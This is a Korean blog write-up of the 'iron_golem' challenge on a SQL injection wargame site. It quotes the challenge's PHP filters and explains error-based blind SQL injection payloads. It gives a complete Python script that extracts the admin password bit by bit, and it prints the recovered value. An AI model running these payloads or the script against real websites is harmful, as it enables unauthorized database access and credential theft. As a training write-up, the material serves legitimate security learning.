728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
id의 값이 admin, pw의 값이 ‘’인 파라미터가 있다.
query : select id from prob_iron_golem where id='admin' and pw=''
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
preg_match 조건문 부분을 보면 다음과 같이 필터링하고 있다.
- prob
- _
- .
- ()
- sleep
- benchmark
addslashes() 함수를 사용하여 pw변수의 일부 문자열앞에 백슬래시(\)를 붙여서 반환한다.
- 싱글 쿼터('), 더블 쿼터("), 백슬래시(\), NUL(NULL)에 해당한다.
문제를 풀기 위해서는 pw의 값이 올바른 값이어야 문제가 풀리는 듯 하다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
우선 pw의 길이를 알아내기 위해 if문과 length() 함수를 사용하여 공격문을 만들어보았다.
pw의 길이가 1이면 1을 반환하게 하여 참을 만들어줌
아니라면 (select 1 union select 2)를 반환하게 해 에러를 발생시킴
?pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))#
위 공격문의 경우 참이 아니기 때문에 아래와 같이 에러가 발생한다.
만약 에러가 발생하지 않는다면, 비밀번호 길이를 알아낸 것 이다.
이제 비밀번호를 알아내야 한다.
비밀번호를 알아내기 위한 공격문은 아래와 같다.
지난번 한글로 인해 비트의 수 때문에 맞추기 어려웠는데 찾아보니 아래와 같은 공격문을 사용하면,
**16비트** 기준으로 pw의 값을 찾을 수 있다고 한다.
pw 값의 첫 번쨰 글자에서 첫 번째 비트가 1이면 참이고,
아니라면 0으로 에러가 발생한다.
?pw=' or id='admin' and if(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=1,1,(select 1 union select 2))#
아래와 같이 코드가 나온다.
HEX로 된 pw 값을 찾는 코드는 아래 링크를 참고했다.
https://kkamikoon.tistory.com/193?category=829545
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = '<https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=>'
headers = {'Cookie': 'PHPSESSID=쿠키값'}
# get length of column =============
passwordLen = 0
for i in range(1, 100):
payload = "' or id='admin' and if(length(pw)={},1,(select 1 union select 2))%23".format(i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Subquery' in res.text:
pass
else:
passwordLen = i
break
print('[=] Find Password Length : %d' % passwordLen)
bitLen = 16
Password = ''
for j in range(1, passwordLen+1):
bit = ''
for i in range(1, bitLen+1):
payload = "' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(j, bitLen, i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Subquery' in res.text:
# Error Occured!! It is not 1
bit += '0'
else:
# false!!
bit += '1'
Password += chr(int(bit, 2))
print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))
print('[=] Find Password : %s' % Password)
코드를 돌려보면 아래와 같이 나오며 이전 문제처럼 HEX 값으로 32글자가 들어가있다.
pw의 값은 06b5a6c16e8830475f983cc3a825ee9a 이다.
728x90
반응형